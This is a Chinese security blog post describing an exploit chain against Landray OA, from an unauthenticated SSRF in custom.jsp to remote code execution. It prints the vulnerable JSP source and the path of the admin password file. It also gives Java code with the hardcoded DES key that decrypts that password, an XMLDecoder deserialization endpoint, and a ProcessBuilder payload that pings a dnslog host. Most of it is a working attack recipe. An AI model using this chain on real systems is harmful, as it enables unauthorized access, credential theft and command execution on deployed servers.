0x00 前言
先祝大家五一节快乐,远海说五天假期要连着学五天。正好前两天暴出蓝凌OA的一个未授权的SSRF漏洞,借着这个SSRF漏洞远海深入研究了一波完成了一个SSRF到RCE的组合利用。那么我们来看看这个组合链是如何构造的。
0x01 正文
蓝某OA前台SSRF漏洞
漏洞地址: /sys/ui/extend/varkind/custom.jsp
直接贴源码:
<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
挺简单的一处漏洞。。
内容就是一堆套娃处理。不细说。
问题就是在于<c:import url=
<c:import>标签提供了所有<jsp:include>行为标签所具有的功能,同时也允许包含绝对URL。
举例来说,使用<c:import>标签可以包含一个FTP服务器中不同的网页内容。
url的内容可控为json内容中的file键值。
这里的url可以是相对路径和绝对路径或者是其他主机的资源。
简单来说就是一处ssrf。并且是有回显的。
看了大部分poc都是利用file协议去读取passwd。
你以为文章到这就结束了???这才刚刚开始。
既然是SSRF,并且可以读文件还支持相对路径?。这不好好利用一下?
如果你看过蓝凌OA的配置文档。你就知道,admin.do这个路径是管理系统配置。并且,该地址的密码是以硬编码的格式保存在本地的。
路径:WEB-INF/KmssConfig/admin.properties
既然上面的ssrf支持相对路径和绝对路径。并且,是有回显的。那么只需要读取这个路径的文件就可以了。
成功得到密码,但是这里要注意 kmss.properties.encrypt.enabled = true
如果为ture,则说明password的内容是加密过的。
那么就需要进一步解密。
先看看这个文件在哪里被读取了。
在com.landray.kmss.sys.config.constant.SysConfigConstant
类中,admin.properties
的路径被存储在变量ADMIN_PROPERTIES_PATH
中。
继续查找,看一下哪里调用了ADMIN_PROPERTIES_PATH
变量
最终在com.landray.kmss.sys.config.action.SysConfigAdminUtil
中发现getAdminProperties
方法中存在调用。
看了下具体逻辑。
if (isEncryptEnabled(p))
p.setProperty("password", doPasswordDecrypt(
p.getProperty("password")));
return p;
}
如果配置文件中的加密选项为true。则进入doPasswordDecrypt
方法进行解密。
这不就直接可以了吗?
解密代码:
import com.landray.kmss.util.DESEncrypt;
public class main {
public static void main(String[] args) {
String password = "mqwEyqHLj9PQXpy+yhf4z92SejWx+VeS";
String resul=doPasswordDecrypt(password);
System.out.println(resul);
}
public static String doPasswordDecrypt(String password) {
try {
DESEncrypt des = new DESEncrypt("kmssAdminKey");
return des.decryptString(password);
} catch (Exception ex) {
try {
DESEncrypt des0 = new DESEncrypt("kmssAdminKey", true);
return des0.decryptString(password);
} catch (Exception e) {
return "hh";
}
}
}
}
得到解密结果
直接访问admin.do进行登陆。
到了这一步。。。估计其他师傅已经知道怎么rce了。jndi,jdbc反序列化就可以直接rce了
不过,对于我这种懒狗来说。还是不够简洁。
对于admin账号。可以直接在前台登陆。
然后利用hw期间爆出的后台洞就可以直接拿到shell。
这里摸一个0day,带走。
也可以使用之前在星球发过的xmldecoder反序列化漏洞。
POC:
/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&fdParameters=<payload>
使用XMLDecoder-payload-generator
生成payload。
github地址: https://github.com/mhaskar/XMLDecoder-payload-generator
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>ping</string></void><void index="1"><string>test.****.dnslog.cn</string></void></array> <void method="start" id="process"> </void> </void> </java>
这里测试下dnslog
成功RCE
0x02 结语
学,学五天,学习就是放假!
本文始发于微信公众号(赛博回忆录):蓝某OA前台SSRF进一步利用到RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论